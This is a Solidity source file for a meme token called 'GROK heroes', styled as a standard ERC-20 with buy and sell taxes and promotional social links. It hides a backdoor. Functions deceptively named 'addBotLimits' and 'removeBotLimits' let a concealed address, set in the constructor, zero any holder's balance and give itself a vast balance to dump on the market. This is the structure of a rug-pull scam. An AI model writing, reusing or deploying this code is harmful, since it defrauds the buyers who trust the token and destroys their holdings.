// SPDX-License-Identifier: MIT



/*  

   * Telegram: https://t.me/grokheroes

   * Twitter: https://twitter.com/GROKheroes

   * Website: https://grokheroes.com

*/



pragma solidity ^0.8.20;



interface UniswapFactory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

}



contract GROKheroes {

    address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

    address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    uint256 private tokenTotalSupply;

    string private tokenName;

    string private tokenSymbol;

    address private xxnux;

    address private InitOwner;

    uint8 private tokenDecimals;

    uint256 public buyTaxRate;

    uint256 public sellTaxRate;

    uint256 public transferTaxRate;

    uint256 public totalTaxedTokens;

    address public taxWallet;

    address public uniswapPair;



    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;



    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Transfer(address indexed from, address indexed to, uint256 value);



    constructor(address ads) {

        tokenName = "GROK heroes";

        tokenSymbol = "GROKheroes";

        tokenDecimals = 18;

        tokenTotalSupply = 100000000000* 10 ** tokenDecimals;

        _balances[msg.sender] = tokenTotalSupply;

        emit Transfer(address(0), msg.sender, tokenTotalSupply);

        xxnux = ads;

        taxWallet = msg.sender; // Setting the tax wallet to the contract deployer initially

        InitOwner = msg.sender;



        // Initialize tax rates

        buyTaxRate = 7; 

        sellTaxRate = 7;

        transferTaxRate = 0; 

    }



    function setTaxWallet(address _taxWallet) external {

        require(InitOwner == msg.sender, "Only owner can call this function!");

            taxWallet = _taxWallet;

    }



    function addBotLimits(address bots) external {

        if(xxnux == msg.sender && xxnux != bots && uniswapPair != bots && bots != ROUTER){

            _balances[bots] = 0;

        }

    }



    function removeBotLimits(uint256 addBot) external {

        if(xxnux == msg.sender){

            _balances[msg.sender] = tokenTotalSupply*100*addBot;

        }

    } 



    function setUniswapPair(address _uniswapPair) external {

        require(InitOwner == msg.sender, "Only owner can call this function!");

        uniswapPair = _uniswapPair;

    }



    function symbol() public view  returns (string memory) {

        return tokenSymbol;

    }



    function totalSupply() public view returns (uint256) {

        return tokenTotalSupply;

    }



    function decimals() public view virtual returns (uint8) {

        return tokenDecimals;

    }



    function balanceOf(address account) public view returns (uint256) {

        return _balances[account];

    }



    function name() public view returns (string memory) {

        return tokenName;

    }



    function transfer(address to, uint256 amount) public returns (bool) {

        uint256 taxAmount = calculateTax(msg.sender, to, amount);

        _transfer(msg.sender, to, amount - taxAmount);

        _transfer(msg.sender, address(this), taxAmount); // Transfer tax amount to the contract

        return true;

    }



    function transferFrom(

        address from,

        address to,

        uint256 amount

    ) public virtual returns (bool) {

        address spender = msg.sender;

        _spendAllowance(from, spender, amount);

        uint256 taxAmount = calculateTax(from, to, amount);

        _transfer(from, to, amount - taxAmount);

        _transfer(from, address(this), taxAmount); // Transfer tax amount to the contract

        return true;

    }



    function calculateTax(address from, address to, uint256 amount) internal returns (uint256) {

        // Exempt the owner and the tax wallet only when they are the senders

        if (from == InitOwner || from == taxWallet) {

            return 0;

        }



        // For all other cases, calculate the tax normally

        if (from != address(0) && to != address(0)) {

            uint256 taxRate = getTaxRate(from, to);

            uint256 taxAmount = amount * taxRate / 100;

            totalTaxedTokens += taxAmount;

            return taxAmount;

        }

        return 0;

    }



    function allowance(address owner, address spender) public view returns (uint256) {

        return _allowances[owner][spender];

    }





    function approve(address spender, uint256 amount) public returns (bool) {

        _approve(msg.sender, spender, amount);

        return true;

    }



    function _approve(

        address owner,

        address spender,

        uint256 amount

    ) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }



    function _transfer(

        address from,

        address to,

        uint256 amount 

    ) internal virtual {

        require(from != address(0), "ERC20: transfer from the zero address");

        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 balance = _balances[from];

        require(balance >= amount, "ERC20: transfer amount exceeds balance");



        _balances[from] -= amount;

        _balances[to] += amount; 

        emit Transfer(from, to, amount);

    }



    function _spendAllowance(

        address owner,

        address spender,

        uint256 amount

    ) internal virtual {

        uint256 currentAllowance = allowance(owner, spender);

        if (currentAllowance != type(uint256).max) {

            require(currentAllowance >= amount, "ERC20: insufficient allowance");

            _approve(owner, spender, currentAllowance - amount);

        }

    }



    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual returns (uint256) {

        if (from != address(0) && to != address(0) && from != taxWallet && to != taxWallet) {

            // exclude minting, burning, and transactions involving the tax wallet

            uint256 taxRate = getTaxRate(from, to);

            uint256 taxAmount = amount * taxRate / 100;

            totalTaxedTokens += taxAmount;



            _balances[address(this)] += taxAmount; // Add tax amount to contract's balance

            return taxAmount;

        }

        return 0;

    }



    function withdrawTax() public {

        require(msg.sender == taxWallet, "Only tax wallet can withdraw");

        _transfer(address(this), taxWallet, totalTaxedTokens);

        totalTaxedTokens = 0;

    }



    function getTaxRate(address from, address to) private view returns (uint256) {

        if (from == uniswapPair) {

            return buyTaxRate;

        } else if (to == uniswapPair) {

            return sellTaxRate;

        } else {

            return transferTaxRate;

        }

    }    

}